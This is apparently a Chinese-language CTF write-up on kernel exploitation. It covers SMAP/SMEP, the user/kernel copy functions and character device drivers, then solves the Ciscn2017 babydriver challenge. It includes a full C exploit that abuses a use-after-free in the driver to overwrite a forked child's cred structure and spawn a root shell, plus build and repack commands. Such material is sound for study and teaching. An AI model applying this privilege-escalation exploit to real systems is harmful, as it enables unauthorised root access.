Kernel Pwn的简单尝试

2022-12-04
  1. 基础知识
  2. 字符设备驱动
  3. Ciscn2017 babydriver

基础知识

smap:Supervisor Mode Access Prevention,管理模式访问保护。

smep:Supervisor Mode Access Prevention,管理模式执行保护。

smap/smep用于阻止内核空间直接访问/执行用户空间的数据。


// copy_to_user: 从内核空间拷贝数据到用户空间
unsigned long copy_to_user(void *to, const void __user *from, usigned long count);
// 1) to 目标地址,这个地址是用户空间的地址;
// 2) from 源地址,这个地址是内核空间的地址;
// 3) count 将要拷贝的数据的字节数。

// copy_from_user: 从用户空间拷贝数据到内核空间
unsigned long copy_from_user(void __user *to, const void *from, usigned long count);
// 1) to 目标地址,这个地址是内核空间的地址;
// 2) from 源地址,这个地址是用户空间的地址;
// 3) count 将要拷贝的数据的字节数。

image-20221204122228943


字符设备驱动

image-20221129185635678

在Linux字符设备驱动中,模块的加载通过register_chrdev_region() / alloc_chrdev_region()静态 / 动态获取设备号。通过cdev_init()建立cdevfile_operations之间的连接,通过cdev_add()向系统添加一个cdev以完成注册。模块的卸载通过cdev_del()来注销cdev,通过unregister_chrdev_region()来释放设备号。

通过实现file_operations中的部分函数,来定义该字符驱动函数独特提供给VFS的接口函数,如open()、read()、write(),用于用户对该字符设备进行使用。

image-20221203083840144

Ciscn2017 babydriver

附件解压:
tar -xvf babydriver.tar

得到三个文件:

boot.sh:指定了相应的参数去运行qume的shell命令;

bzImage:内核镜像文件;(可通过file命令查看版本号)

rootfs.cpio:磁盘镜像(文件系统);


./boot.sh  #启动(去掉--enable-kvm)

对文件系统分析:

(注意: cpio gzip)

提取文件:
cpio -idmv < rootfs.cpio

init文件:qemu启动系统后,执行的一系列初始化命令。(flag文件的问题)

insmod命令:插入内核模块

rmmod命令:卸载内核模块

module_init(kernel_module_init);  //载入内核模块
module_exit(kernel_module_exit);  //卸载内核模块

babydriver.ko驱动模块分析:

  • babydriver_init函数:载入模块时执行。
  • babydriver_exit函数:卸载模块时执行。
  • babyopen函数 –> open(fd, )
  • babyrelease函数 –> close()
  • babyread函数 –> read()
  • babywrite函数 –> write()
  • babyioctl函数 –> ioctl()

关键点:babydev_struct定义bss段中,为全局变量。

打开两次设备,所使用的babydev_struct为同一块。


babyrelease函数中存在UAF漏洞,打开两个设备后,close()其中一个,另一个还可以使用babydev_struct。

ioctl()函数中可以修改buf的大小为cred结构体同大小,然后close(),随后fork个子进程使得cred和babydev_struct为同个空间。使用UAF修改该块空间(cred为root权限),子进程的权限即变为root。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
    // 打开两次设备
    int fd1 = open("/dev/babydev", 2);
    int fd2 = open("/dev/babydev", 2);

    // 修改 babydev_struct.device_buf_len 为 sizeof(struct cred)
    ioctl(fd1, 0x10001, 0xa8);

    // 释放 fd1
    close(fd1);

    // 新起进程的 cred 空间会和刚刚释放的 babydev_struct 重叠
    int pid = fork();
    if(pid < 0)
    {
        puts("[*] fork error!");
        exit(0);
    }
    else if(pid == 0)
    {
        // 通过更改 fd2,修改新进程的 cred 的 uid,gid 等值为0
        char zeros[30] = {0};
        write(fd2, zeros, 28);

        if(getuid() == 0)
        {
            puts("[+] root now.");
            system("/bin/sh");
            exit(0);
        }
    }
    else
    {
        wait(NULL);
    }
    close(fd2);

    return 0;
}

# 静态编译
gcc -static exploit.c -o exploit

# 打包
find . | cpio -o --format=newc > rootfs.cpio

返回首页